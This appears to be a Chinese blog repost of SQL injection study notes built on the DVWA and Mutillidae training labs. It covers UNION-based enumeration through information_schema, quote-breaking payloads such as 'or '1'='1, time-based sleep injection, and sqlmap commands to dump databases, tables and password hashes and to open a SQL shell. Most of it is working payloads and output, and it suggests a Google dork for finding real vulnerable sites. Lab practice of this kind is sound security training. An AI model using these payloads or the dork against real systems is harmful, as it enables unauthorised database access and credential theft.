DVWA之SQL注入的思路

笔记

如何把两个没有关系的表结合起来

union联合查询
前面的查询字段数量要和后面的数量相同
select user,pass from mysql.user union select user from word.wp_user;
                                              这里只有一个,使用数字充当字段
 select user,pass from mysql.user union select user,1 from word.wp_user limit 5;查看前五行

 这里查看的前五行是union前面查询的字段,我们重点是查看后面我们需要的字段

select user,pass from mysql.user where 1=2 union select user,1 from word.wp_user limit 5;
这里我们添加一个条件1=2是错误,所以不会显示

字段不够使用数字来猜解
怎么显示我们需要的字段,在前面添加一个错误条件就不会执行前面的而是执行后面的

但是我们还是需要一个权限,数据库中所有的表都有权限再能查看


两种查询
or 1=1 只能查询固定的字段

union  查询可以随意查询    只要我们知道字段数量
                                       拥有权限

举例说明:
 create database myuser;创建一个数据库
 create database pass;

 create table admin(     在数据库中添加一个表
 id int,
 name varchar(10)
 );       

create table pass(
id int,
name varchar(10)
);                            

insert into admin values(01,'adsa'),(02,'qqqq'),(03,'fff');插入数据
insert into pass values(04,'gf'),(08,'fsdfs'),(09,'56y');

普通联合查询
两个select查询字段都会显示
mysql> select * from myuser.admin union select * from pass.pass;
+------+-------+
| id   | name  |
+------+-------+
|    1 | adsa  |
|    2 | qqqq  |
|    3 | fff   |
|    4 | gf    |
|    8 | fsdfs |
|    9 | 56y   |
+------+-------+


添加一个错误条件导致前面的不会执行
只会显示我们需要的字段
mysql> select * from myuser.admin where 1=2 union select * from pass.pass;
+------+-------+
| id   | name  |
+------+-------+
|    4 | gf    |
|    8 | fsdfs |
|    9 | 56y   |
+------+-------+


以上的查询都是字段相同的情况下

以下是不同的情况

前面的select只有name一个字段而后面是*,包含了两个字段,不相同出错
mysql> select name from myuser.admin where 1=2 union select * from pass.pass;

ERROR 1222 (21000): The used SELECT statements have a different number of column
s

解决方案
使用数字代替字段来进行手工猜解
name字段 对应 1字段   都是一个字段可以查询
mysql> select name from myuser.admin where 1=2 union select 1 from pass.pass;
+------+
| name |
+------+
| 1    |

例如:
第一个select*里面包括五个字段,后面的就可以依次猜解
mysql> select * from myuser.admin where 1=2 union select 1 from pass.pass;
       select * from myuser.admin where 1=2 union select 1,2 from pass.pass;
       select * from myuser.admin where 1=2 union select 1,2,3 from pass.pass;
       select * from myuser.admin where 1=2 union select 1,2,3,4 from pass.pass;
       select * from myuser.admin where 1=2 union select 1,2,3,4,5 from pass.pass;
知道猜解出来位置
       使用数字添加字段
       select * from myuser.admin where 1=2 union select name,pass,1,2,3 from pass.pass;

-----------------------------------------------------------------------------------------------
information_schema数据库
是数据库的元数据也就是数据库字典
记录着数据库中所有的库和表

在information_schema数据库中有TABLES表可以查看

查看information_schema中的表发现有tables;
查看tables;
select * from tables limit 3\G;
   TABLE_CATALOG: def
   TABLE_SCHEMA: information_schema 数据库名
   TABLE_NAME: CHARACTER_SETS       数据库中表名
   TABLE_TYPE: SYSTEM VIEW

其中
   TABLE_SCHEMA:数据库的名字                  
   TABLE_NAME:数据库中表的名字   


   'union select DISTINCT table_schema from information_schema.tables           

如何在information中查找所有的数据库以及我们想要的信息?
              取消重复   显示数据库       从元数据中的表中查找                      查看所有数据库
mysql> select DISTINCT TABLE_SCHEMA from information_schema.TABLES;
*************************** 1. row ***************************
table_schema: information_schema
*************************** 2. row ***************************
table_schema: challenges
*************************** 3. row ***************************
table_schema: mysql
*************************** 4. row ***************************
table_schema: myuser


               显示表           从元数据库查找                 条件:数据库是news    指定数据库的表
mysql> select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = 'news';
+------------+
| table_name |
+------------+
| n_news     |
+------------+
1 row in set (0.00 sec)


分组实现查询,把数据库为一列,数据库中的表为一组,清晰可见                                 
mysql> select TABLE_SCHEMA,GROUP_CONCAT(TABLE_NAME) from information_schema.TABLES GROUP BY TABLE_SCHEMA\G;

*************************** 1. row ***************************
            TABLE_SCHEMA: challenges
GROUP_CONCAT(TABLE_NAME): enkuy0uce2


查到你想要的数据库中的所有表
mysql> select TABLE_NAME from INFORMATION_SCHEMA.tables where TABLE_SCHEMA='news
';
+------------+
| TABLE_NAME |
+------------+
| n_news     |
+------------+
1 row in set (0.00 sec)

如何查询字段名
数据库中的COLUMNS表记录着所有数据库中的表中的字段名
                     从columns表中获取字段名称COLUMN_NAME:
mysql> select * from information_schema.columns limit 3 \G;
*************************** 1. row ***************************
           TABLE_CATALOG: def
            TABLE_SCHEMA: information_schema    数据库名
              TABLE_NAME: CHARACTER_SETS        表名
             COLUMN_NAME: CHARACTER_SET_NAME    这里是字段名
        ORDINAL_POSITION: 1



这里是从information_schema中的columns表中查找到我们想要的字段
mysql> select column_name from information_schema.columns where table_schema =
news' and table_name = 'n_news';
+-------------+
| column_name |
+-------------+
| id          |
| title       |
| istop       |
| content     |
| publiser    |
| pub_time    |
+-------------+
6 rows in set (0.01 sec)

------------------------------------------------------------------
注入
在消息框中输入单引号 ' 如果出错代表他会解析会报错

给予布尔值注入
'or '1'='1

SELECT first_name, last_name FROM users WHERE user_id = '$id'; 

SELECT first_name, last_name FROM users WHERE user_id =''or '1'='1';
mysql> select first_name,last_name from dvwa.users where user_id=''or '1'='1';
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
| Gordon     | Brown     |
| Hack       | Me        |
| Pablo      | Picasso   |
| Bob        | Smith     |
| user       | user      |
+------------+-----------+
6 rows in set (0.00 sec)


-------------------------------------------------------------------------------
使用联合查询和information_schema数据库

先使用联合查询猜解字段(第一个引号是为了闭合前面的sql语句)
sql低版本

'union select 1 '
'union select 1,2 '
现在猜解出来是两个字段

version()数据库信息
database()当前数据库名字
user()当前用户名

获取当前用户和当前数据库
'union select user(),database() --'
mysql> select first_name,last_name from dvwa.users where user_id='' union select user(),database()'';
+----------------+-----------+
| first_name     | last_name |
+----------------+-----------+
| root@localhost | dvwa      |
+----------------+-----------+
1 row in set (0.00 sec)


information_schema是数据库的元数据
'union select table_schema,1 from information_schema.tables -- '

mysql> SELECT first_name, last_name FROM users WHERE user_id = ''union select table_schema,table_name from information_schema.tables;
+--------------------+---------------------------------------+
| first_name         | last_name                             |
+--------------------+---------------------------------------+
| information_schema | CHARACTER_SETS                        |
| information_schema | COLLATIONS                            |
| information_schema | COLLATION_CHARACTER_SET_APPLICABILITY |
| information_schema | COLUMNS                               |
| information_schema | COLUMN_PRIVILEGES                     |
| information_schema | ENGINES                               |
| information_schema | EVENTS                                |
| information_schema | FILES                                 |
| information_schema | GLOBAL_STATUS                         |
| information_schema | GLOBAL_VARIABLES                      |
| information_schema | KEY_COLUMN_USAGE                      |
| information_schema | PARTITIONS                            


这是在tables表中,现在我们进入到columns表中查看
'union select column_name,1 from information_schema.columns where table_schema = 'dvwa' -- '

mysql> SELECT first_name, last_name FROM users WHERE user_id = ''union select column_name,1 from information_schema.columns where table_schema = 'dvwa';
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| comment_id | 1         |
| comment    | 1         |
| name       | 1         |
| user_id    | 1         |
| first_name | 1         |
| last_name  | 1         |
| user       | 1         |
| password   | 1         |
| avatar     | 1         |
+------------+-----------+
9 rows in set (0.00 sec)

使用columns表
'union select 1,table_name from information_schema.tables where table_schema = 'dvwa' -- '
查到dvwa中两张表

'union select 1,column_name from information_schema.colummns where table_name='users' -- '
也可以使用null当做字段占位符
'union select user,password from users -- '

'union select password,concat(first_name,' ',last_name,' ',user) from users -- '
这里的意思是一共只有两个字段可以匹配但是我们需要查询多个字段
使用concat函数将需要查询的字段当做一个字段查询
ID: 'union select password,concat(first_name,' ',last_name,' ',user) from users -- '
First name: 21232f297a57a5a743894a0e4a801fc3
Surname: admin admin admin

--------------------------------------------------------------------------------------
时间盲注?
输入单引号不会显示任何结果

1代表真条件然后单引号闭合 睡眠5秒
1'and sleep(5) -- '

---------------------------------------------------------------------------------------
sqlmap自动注入
google搜索 inurl .php?id=
可以看到可能存在注入的网站

sqlmap -u '目标的url  ?id=x' 探测是否存在漏洞

sqlmap --random-agent(随机的代理 客户端)
       --user-agent=AGENT(固定代理)
       --dbms=DBMS/MYSQL 给定服务器数据库系统
       --level 安全级别(1-5)
       --risk=RISK 风险级别(1-3)

       --current-user 返回当前用户名
       --tables
       --dump/all
       --batch自动


1.
owaspbwa中mutillidae中使用sqlmap注入
root@NoName:~# sqlmap -u 'http://10.5.84.3/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details' --batch -p username

--batch 自动选择
-p 再多个参数中选中指定的注入点
例:
-p username,password 对两个点进行注入测试


2.
root@NoName:~# sqlmap -u 'http://10.5.84.3/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details' --batch -p username --dbs

在后面又再次添加--dbs
获取所有数据库

3.
root@NoName:~# sqlmap -u 'http://10.5.84.3/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details' --batch -p username --current-user

--current-user
添加--users获取所有的用户
--current-user
获取当前用户

4.
root@NoName:~# sqlmap -u 'http://10.5.84.3/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details' --batch -p username --current-db

--current-db
当前数据库

以上是常用的查询
下面是步骤

1.获取所有的数据库,找到有价值的数据库
--dbs          获取所有 然后选中一个库
--current-db   当前数据库
-D 数据库名字 --tables 获取所有表信息

2.找到所有表了
我们选择一个有价值的表进行破解
-D 数据库 -T 表名 --columns 获取指定数据库中的指定表中的所有字段

3.我们现在找到表中所有字段
我们要选择我们需要破解的字段值
-D 数据库名 -T 表名 -C (这里可以多个字段)“user,pass,emli” --dump (dump是获取字段的值)

--dump all是获取所有库的字段

在破解字段值的时候会使用字典破解,我们可以添加自己的字典

4.--sql-shell与数据库交互

sqlmap -u 'http://10.5.84.3/dvwa/vulnerabilities/sqli/?id=111&Submit=Submit#' -p id --cookie="security=low;security=low;PHPSESSID=22e0va58r22m9n83hpfuv7sda4" --sql-shell




------------------------------------------------------------------------------
如果在注入点在内部,需要登录之后才能查看怎么办?
使用cookie

sqlmap -u "目标" -p 指定注入点 --cookie="添加cookie" --batch 
例:
sqlmap -u 'http://10.5.84.3/dvwa/vulnerabilities/sqli/?id=111&Submit=Submit#' -p id --cookie="security=low;security=low;PHPSESSID=22e0va58r22m9n83hpfuv7sda4" --batch

phpsessid这里要使用=号

剩下的就是普通的套路
添加--dbs     查看所有数据库 -D 数据库名
    --tables  所有表         -T 表
    --columns 所有字段       -C 字段,字段
    --dump    字段值

也可以尝试--sql-shell 直接与数据库交互

以上都是在没有防火墙实现


------------------------------------------------------------------------------
在google搜索
inurl .php?id=

猜你喜欢

转载自blog.csdn.net/Lonelyhat/article/details/93165296